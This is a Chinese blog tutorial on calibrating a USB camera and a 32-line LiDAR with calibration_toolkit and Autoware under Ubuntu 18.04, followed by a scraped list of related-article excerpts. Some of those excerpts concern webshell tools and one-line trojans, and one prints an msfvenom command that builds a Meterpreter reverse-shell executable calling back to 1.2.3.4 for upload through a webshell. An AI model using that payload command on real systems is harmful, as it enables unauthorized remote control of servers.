ubuntu18.04使用calibration_toolkit进行相机和三维激光雷达的联合标定

article/2025/9/30 21:43:31

一、配置

硬件配置:

速腾聚创激光雷达32线、usb相机;

软件配置:

ubuntu18.04、calibration_toolkit、autoware1.12.0、opencv3.4.3

(软件的安装及配置遇到的问题可以参考我别的博客,可能会有你想要的答案,标定其实只需要calibration_toolkit)就可以,但是建议都安装了,因为他们可能会有相互依赖的库)。

二、相机的内参标定

相机内参的标定可以参考我另一篇博客:

(7条消息) ubuntu18.04安装autoware1.12.0之相机和激光雷达的标定_╰︶ ̄ 莫等闲۩۩۩的博客-CSDN博客

 相机内参标定可以用录制好的rosbag离线标定,也可以在线标定,建议在线标定,因为离线标定不太好把控录制多长时间可以完成相机内参标定。离线标定和在线标定方法只需要二选一即可。

注:所有有关路径和激光雷达、相机驱动路径、话题名称都需要根据自己实际的路径来做相应的更改。

1、离线标定

(1)录制rosbag

cd ~/catkin_ws/
source devel/setup.bash
roslaunch rslidar_sdk start.launch            //要看自己的激光雷达驱动路径
roslaunch usb_cam usb_cam-test.launch         //要看自己的相机驱动路径
cd /home/nnnn/lidar_cam_date_pro/bag         //bag保存路径,可以根据自己的路径存放
rosbag record -b 4096 -o calibration.bag /rslidar_points /usb_cam/image_raw

 录制rosbag时需要将标定板分别移动各个方向:

近距离:左右上下;远距离:左右上下;倾斜标定板:左右上下。建议每个状态停留5s以上。

上面的rosbag是包含了激光雷达和相机的数据,我们做相机内参的标定实际上只需要相机的数据即可,这里也录制激光雷达的数据是方便后面做激光雷达和相机的联合标定。

(2)开始标定

roscore 
cd autoware.ai             //在一个新的终端进入autoware安装路径
source install/setup.bash
rosrun autoware_camera_lidar_calibrator cameracalibrator.py --square 0.0245 --size 6x8 image:=/usb_cam/image_raw

(3)播放录制的rosbag

cd /home/nnnn/lidar_cam_date_pro/bag     //在新的终端进入rosbag存放的路径
rosbag play xx.bag                      //播放相应的rosbag,按下空格暂停,再按下将继续播放

当标定板在移动时x,y,size条会在变长,当x,y,size条被拉满时CALIBRATE会变亮,播放完rosbag如果还不亮说明移动标定板的位置还没到位,需要重新录制rosbag。

当CALIBRATE会变亮时,点击该按钮稍等片刻SAVE会变量,点击SAVE会得到一个内参yaml文件。

yaml文件一般会默认存放在home目录下。

2、在线标定

(1)启动相机

roscore
cd ~/catkin_ws/
source devel/setup.bash
roslaunch usb_cam usb_cam-test.launch

(2)开始标定

cd autoware.ai 
source install/setup.bash
rosrun autoware_camera_lidar_calibrator cameracalibrator.py --square 0.0245 --size 6x8 image:=/usb_cam/image_raw

移动标定板:近距离:左右上下;远距离:左右上下;倾斜标定板:左右上下。

当标定板在移动时x,y,size条会在变长,当x,y,size条被拉满时CALIBRATE会变亮。如果CALIBRATE没变亮就需要不断调整移动标定板直到CALIBRATE变亮,点击CALIBRATE,然后点击SAVE即可得到相机内参yaml文件。默认存放在home路径下。

三、相机和激光雷达联合标定

1、播放包含相机和激光雷达数据的rosbag 

roscore                                  //如果之前已经roscore则不需要
cd /home/nnnn/lidar_cam_date_pro/bag     //在新的终端进入rosbag存放的路径
rosbag play x.bag /rslidar_points:=/points_raw  //播放相应的rosbag,按下空格暂停,再按下将继续播放

首先calibration_toolkit已经把点云话题写死了,所以我们需要指定话题
即在播放rosbag的时候修改,上面/rslidar_points原来的话题,/points_raw为我们要改成的话题。

 为了防止数据流失,按下空格暂停播放

2、启动calibration_toolkit

roscore                //如果在前面已经执行过可以不用再执行
cd calibration         //在新的终端进入calibration_toolkit安装的路径
source devel/setup.bash
rosrun calibration_camera_lidar calibration_toolkit

执行以上命令会弹出以下窗口并选择我们相机的话题:

 

 点击OK后会继续弹出以下窗口并选择Camera->Velodyne:

 点击OK后会弹出工具的主页面:

此时我们需要根据自己的标定板大小修改Pattern Size(每个方格的大小)和Pattren Number (方格数量)。

然后我们还需要把前面得到的相机内参加载进来,因为该工具只支持加载.yml文件,所以我还需将相机外参yaml文件后缀改成.yml,这里我直接复制一个改成.yml后缀的相机内参文件。

然后在MainWindow中点击Load把.yml文件加载进来

 然后会弹出Load Camera Calibration Date选择Yes

 然后会弹出Load Velodyne Calibration Date选择No

 然后回到播放rosbag终端,按下空格播放,此时我们可以看到图像

 此时你会发现右边点云窗口是黑色的,看不到点云。这时我们点击右边窗口点云区域,然后按 ↓ 这个键就可以看到点云了。

 为了防止数据播放完,此时我们可以按下空格暂停播放。然后通过按键来调整点云窗口使之看的更清楚,具体按键功能如下:

 

1.右侧数字小键盘中“上”,“下”,“左”,“右”,“PgUp”以及“PgDn”这六个按键用于平移激光点云。2.a、d、w、s、q、e用来旋转激光点云。3.数字“1”,“2”用来设置是perspective projection透视投影还是orthogonal projection正交投影。4.用“o”,“p”控制点云的大小,o变小,p变粗。5.用“-”,“+”控制放大,缩小。

点击点云窗口再按下B键调整点云背景色使之看的更清楚

 

 

 然后找到标定板在点云中的位置,为了方便找到标定板的位置可以继续播放rosbag,看到动的点云说明该位置即为标定板的位置。找到标定板位置后可以按键盘上的+-来进行缩小放大点云(按键盘字母栏上面的+-号,右边数字栏的+好像没反应)。

然后点击一下右上角的“Grab”按钮,用来捕获当前时刻的图像与点云

 

 

(1)为了方便观看点云和图像,我们在两个窗口的分界处按住鼠标左键来拖动窗口大小。

(2)然后同样点击右下角点云窗口按下B来调整点云背景色

(3)然后找标定板点云所在位置按+或-进行该区域放大,还可以按P使点云变粗

(4) 然后在标定板中心处按下鼠标左键选出点云红色圆区(选错了可以按下鼠标右键取消选择),此时可以在左边看到选中的点云信息

(5)然后我们再播放一会rosbag使标定板位置发生变化。

过一会暂停播放rosbag,再点击Grab采集另一组数据。

 

(6)重复上面(1)(2)(3)(4)(5)过程6次,即采集6组点云数据,当然多采集几组也是可以的

 (7)当采集够6组数据后(当然建议多采几组,我看另一篇文章采了15组)就可以点击Calibration进行标定了

 (8)标定结束后,会在左侧的"CameraExtrinsicMat"窗口显示出外参矩阵

 (9)点击Project

 (10)点击Save保存标定参数

 (11)选择存放路径和名字

 选择后路径及name后点击Save会弹出以下窗口:都选择No 

 此时在存放的路径下可以标定后生成的文件

 

 

 至此相机和激光雷达联合标定完成。

四、测试标定效果

获得外参标定文件后我们可以使用autoware来测试一下标定的效果如果

1、打开autoware的Runtime Manager

cd autoware.ai  //打开一个新的终端进入autoware安装路径
source install/setup.bash
roslaunch runtime_manager runtime_manager.launch

 

点击Sensing

 

 点击右下区域的Calibration Publisher

选择前面标定得到的外参文件后点击OK

 

 点击右下区域的Points Image后点击OK

 启动Rviz

在Rviz中,Panels/Add New Panel内添加ImageViewerPlugin,填写Image Topic,本例为/camrea/rgb/image_raw,Point Topic,本例为/points_image

 

 

 然后再播放我们录制的rosbag(或者在线相机和激光雷达但是话题要对应)

此时可以看到标定后的效果(由于标定板采用的是打印A4纸以及环境的原因所以标的不好,但是方法是正确的)

 参考简书:

【Autoware】激光雷达-摄像头联合标定1- Calibration Tool Kit - 简书 (jianshu.com)


http://chatgpt.dhexx.cn/article/qMcyHeKO.shtml

相关文章

ubuntu16.04 lidar_align实现三维激光雷达和Imu联合标定

实现环境: 系统环境: Ubuntu16.04激光雷达: velodyne16线imu品牌 : xsens 一 简介 lidar-imu标定方法为瑞士苏黎世理工大学-自动驾驶实验室开源的一种校准 3D 激光雷达和 6 自由度位姿传感器外参的方法。该方法需要大量非平面…

【ouster】ubuntun18.04安装ouster三维激光雷达ros版本驱动

1、下载驱动文件 需先创建一个ros工作区间,如何将代码下载至src文件夹 mkdir catkin_ws_ouster/srccd catkin_ws_ouster/srccatkin_init_workspacecd ..source devel/setup.shsudo gedit ~/.bashrc#将下列代码添加至打开的文件source ~/catkin_ws_ouster/devel/set…

激光雷达--C16镭神16线三维激光雷达使用

一、基础知识介绍 1、点云数据一边采集一边重构,对处理器的硬件资源消耗特别大,所以用电脑作为处理器时,电脑的配置要高,具体需要什么杨的配置,下面会有数据介绍。 2、虽然激光雷达采集的数据和摄像头采集的数据没法…

基于曲率的体素聚类的三维激光雷达点云实时鲁棒分割方法

点云PCL免费知识星球,点云论文速读。 文章:Curved-Voxel Clustering for Accurate Segmentation of 3D LiDAR Point Clouds with Real-Time Performance 作者:Seungcheol Park, Shuyu Wang, Hunjung Lim, and U Kang 编译:点云PCL…

从零开始的三维激光雷达SLAM教程第一讲(搭建运行环境,并跑Kitti数据集)

文章目录 引言第一节:运行xx-LOAM与数据集编译A-LOAM安装ceres(最小二乘求解库)安装pcl(最常见的点云处理库)安装OPENCVcatkin_make 制作Kitti数据集运行A-LOAM建图LOAM安装Lego-LOAM安装gtsam安装 结果 引言 毕业设计…

三维激光雷达点云处理分类

三维激光雷达点云处理分类TOC 目录 激光雷达点云的研究激光雷达数据的处理方法分类体素转化为图像直接对点云操作 三种方式的优劣 激光雷达点云的研究 目前,学术界和业界对于激光雷达点云的处理方式的研究变的非常热门。我认为原因有二: 来自学术界的推力…

三维激光雷达点云拼接

写在前面 这是一篇于2017.4.19完成的实验报告,现整理成博客,当时处于摸索阶段,水平有限,后来也未对点云处理进行深入的研究,在此只是记录一下。 主要参考资料为CloudCompare wiki document。 对三维点云的处理&…

基于二维激光雷达的三维激光扫描系统的设计与实现

CSDN话题挑战赛第2期 参赛话题:学习笔记 学习之路,长路漫漫,写学习笔记的过程就是把知识讲给自己听的过程。这个过程中,我们去记录思考的过程,便于日后复习,梳理自己的思路。学习之乐,独乐乐&a…

激光雷达三维检测包含哪些内容?

点击上方“小白学视觉”,选择加"星标"或“置顶” 重磅干货,第一时间送达 文章导读 本文是针对一篇激光雷达三维目标检测的综述性文章的解读分析《Deep 3D Object Detection Networks Using LiDAR Data A Review》,从激光雷达的基础…

从零开始的三维激光雷达SLAM教程第二讲(搭建Gazebo仿真环境,并添加动态障碍物)

文章目录 引言第二节:搭建仿真环境下载velodyne激光模拟功能包安装turtlebot3模拟器安装三维激光雷达到turtlebot3上构建Gazebo地图添加动态障碍物操作机器人建图最终效果 引言 毕业设计打算做三维激光SLAM,记录一些学习历程,也给后面人一点…

Cknife与一句话木马提权

Cknife:一个管理网站的工具,支持动态脚本的网站的管理,用来连接一句话木马 一句话木马:一句恶意代码,可以是某种脚本语言,用来与客户端建立联系 通过中国菜刀连接一句话木马达到拿下网站webshell

Cknife的安装

下载菜刀,打开Cknife.jar软件 注意:这里的菜刀文件存放的目录不要带有中文 打开 没错,这是我们熟悉的pikachu 但是这个网站的上传漏洞我还没学,所以暂时没法操作(等发了上传漏洞的视频我就来改) 基本思路…

cknife连接失败

这是什么原因啊

IntelliJ IDEA生成jar包运行报Error:A JNI error has occurred,please check your installation and try again

首先介绍一下IntelliJ IDEA生成jar包的方式: 1、打开项目,打开FIile->Project Structure...菜单.如下图: 选中Artifacts,点号,选择JAR,再选择From modules with dependencies...,如下图: 在打开的界面中…

dvwa 切换php版本以及phpstorm -xdebug的配置使用

最近由于需要对dvwa 进行一些更改,对php啥也不懂的我,开始研究一下php开发环境,以及具体的搭建过程; 首先是需要下载安装破解phpstorm(不多说了,下载官网地址,破解网上一堆文章) 1…

上传漏洞-一句话木马

声明:为什么又写一篇关于一句话木马,对,我第一次没写明白,直写了一句话木马的简单制作,但是还是有很多同学真的看不懂,所以我今天改一下,这次精写! 上传漏洞-一句话木马 讲述内容&…

[对抗训练]“中国菜刀”安装,20180222

[对抗训练]“中国菜刀”安装与使用 一、下载开源代码 从GitHub上下载开源的“中国菜刀”Java项目代码 地址:https://github.com/Chora10/Cknife压缩文件见附件1。 二、将项目存为可执行jar 打开eclipse(或其他java编辑器) 添加解压后的“中国…

我的java16和java8冲突解决办法(java版本冲突解决方法)

我的java16和java8冲突解决办 我的问题 vscode 支持java11以上burpsuite 支持java11以上cknife 只能java8JEB 只能java8全局变量设置java16的路径 对于java8 直接把只支持java8的文件目录放到java8中 在这里中用的是java8,这个目录有java文件 这个脚本可以自动隐藏窗口打开一…

msf上传文件到服务器,利用MSF技巧进入服务器

原标题:利用MSF技巧进入服务器 首先需要一台公网的机器,这是留着方便以后转发或者反弹用的. 1.生成payload的方式 msfvenom -p windows/meterpreter/reverse_tcp LHOST1.2.3.4 LPORT2333 -f exe -o 1234.exe 之后把后门复制出来上传到webshell 推荐不使用exe后缀 因…

mbp 封神台靶场 六(笔记)

打开链接,根据题目提示,flag在c盘根目录下,接上一关的网页后台,打开c盘,发现确实存在flag.txt,但是提示没有权限。 于是知道本关需要我们去进行提权操作,打开D盘,发现cmd.exe和iis6.exe&#xf…